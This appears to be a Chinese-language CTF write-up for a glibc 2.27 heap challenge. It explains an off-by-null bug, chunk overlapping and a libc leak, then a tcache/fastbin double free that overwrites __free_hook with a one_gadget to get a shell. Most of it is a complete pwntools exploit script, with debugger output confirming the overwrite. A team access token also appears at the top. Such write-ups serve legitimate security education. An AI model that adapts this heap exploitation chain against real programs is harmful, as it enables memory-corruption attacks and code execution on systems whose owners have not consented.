队伍 ID:# 000013

队伍 Token：h8pMIHOl1BR7Pbutb4fUh

Add 函数里存在 off by null

开启了 PIE 和 RELRO，不能采用绝对地址，got 表不可写，不能进行 unlink 的利用，转换思路采用 unsorted bin 的堆块合并机制

通过 off by null,造成 chunk overlapping,泄漏 libc 地址

把 free_hook 挂进 tcache 中修改为 one_gadget

很神奇的是在这个版本 2.27 中检测出 tcache double free，思考了好久堆布局哪里出了问题，后面才知道 double free 前需要先填满 tcache 一条链，然后 fastbin double free 并把 free_hook 挂进 tcache

```
[DEBUG] Received 0x29 bytes:
    b'free(): double free detected in tcache 2\n'
```

Exp

```
from pwn import *


context(os = 'linux', arch = 'amd64', log_level = 'debug')


#p = remote("node1.hgame.vidar.club",31083)
p = process("./vuln")
libc = ELF("./libc-2.27.so")


def add(index, size, content):
    p.sendlineafter(b'Your choice:', p32(1))
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    p.sendafter(b'Content: ',content)
```

```
def delete(index):
    p.sendlineafter(b'Your choice:', p32(2))
    p.sendlineafter(b'Index: ', str(index).encode())

def show(index):
    p.sendlineafter(b'Your choice:', p32(3))
    p.sendlineafter(b'Index: ', str(index).encode())
    return p.recvline().strip()



add(0, 0xf8, b'a'*0xf0)
add(1, 0xf8, b'b'*0xf0)
add(2, 0xf8, b'c'*0xf0)
add(3, 0xf8, b'd'*0xf0)
add(4, 0xf8, b'e'*0xf0)
add(5, 0xf8, b'f'*0xf0)
add(6, 0xf8, b'g'*0xf0)#fill tcache

add(7, 0xf8, b'h'*0xf0)
add(8, 0xf8, b'j'*0xf0)
add(9, 0xf8, b'k'*0xf0)#unsortedbin

delete(0)
delete(1)
delete(2)
delete(3)
```

```
delete(4)
delete(5)

delete(9)#topchunk

delete(6)
delete(7)
delete(8)#0x300

add(0, 0xf8, b'a'*0xf0)#9(LIFO)
add(1, 0xf8, b'b'*0xf0)
add(2, 0xf8, b'c'*0xf0)
add(3, 0xf8, b'd'*0xf0)
add(4, 0xf8, b'e'*0xf0)
add(5, 0xf8, b'f'*0xf0)
add(6, 0xf8, b'g'*0xf0)#from tcache

add(7, 0xf8, b'h'*0xf0)
add(8, 0xf8, b'j'*0xf0)
add(9, 0xf8, b'k'*0xf0)#cut unsortedbin

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)#fill tcache
```

```
delete(8)#full + topchunk(7)

delete(7)#fd bk ==> unsortedbin

index = 0x0000000000000200

add(0, 0xF8, b'a'*0xF0 + p64(index))#overlapping + null-byte-overflow inuse

delete(6)#full tcache
delete(9)#unsortedbin(7,0,9)

add(1, 0xf8, b'b'*0xf0)
add(2, 0xf8, b'c'*0xf0)
add(3, 0xf8, b'd'*0xf0)
add(4, 0xf8, b'e'*0xf0)
add(5, 0xf8, b'f'*0xf0)
add(6, 0xf8, b'g'*0xf0)
add(7, 0xf8, b'h'*0xf0)#from tcache

add(8, 0xf8, b'j'*0xf0)#from 7, chunk 0 fd bk==> unsortedbin

unsorted_addr = u64(show(0).strip().ljust(8, b'\x00'))
success(hex(unsorted_addr))
libc.address = unsorted_addr - 0x3ebca0
success(hex(libc.address))
```

```
add(10, 0xf8, b'a'*0xf0)
add(11, 0xf8, b'a'*0xf0)#cut tcache

delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)#fill 0x100 tcache

delete(10)
delete(11)#unsortedbin

add(10, 0x28, b'aa')
add(11, 0x28, b'bb')

add(1, 0x28, b'b'*0x20)
add(2, 0x28, b'c'*0x20)
add(3, 0x28, b'd'*0x20)
add(4, 0x28, b'e'*0x20)
add(5, 0x28, b'f'*0x20)
add(6, 0x28, b'g'*0x20)
add(7, 0x28, b'h'*0x20)#from tcache

delete(1)
delete(2)
```

```
delete(3)

delete(4)

delete(5)

delete(6)

delete(7)#0x30 tcache


delete(10)

delete(11)#fastbin tcache

delete(0)#fastbin double free



add(1, 0x28, b'b'*0x20)

add(2, 0x28, b'c'*0x20)

add(3, 0x28, b'd'*0x20)

add(4, 0x28, b'e'*0x20)

add(5, 0x28, b'f'*0x20)

add(6, 0x28, b'g'*0x20)

add(7, 0x28, b'h'*0x20)#tcache empty


freehook = libc.address + 0x3ED8E8

system_addr = libc.address + 0x4f420


add(10, 0x28, p64(freehook))#tcache [2]==>__free_hook

#gdb.attach(p)

add(11, 0x28, b'n')

add(12, 0x28, b'm')#tcache __free_hook
```

one_gadget = libc.address + 0x4f302

add(0, 0x28, p64(one_gadget))

#gdb.attach(p)

```
pwndbg> x/gx &__free_hook
0x7b6d489ed8e8 <__free_hook>:   0x00007b6d4864f302
```

delete(0)

p.interactive()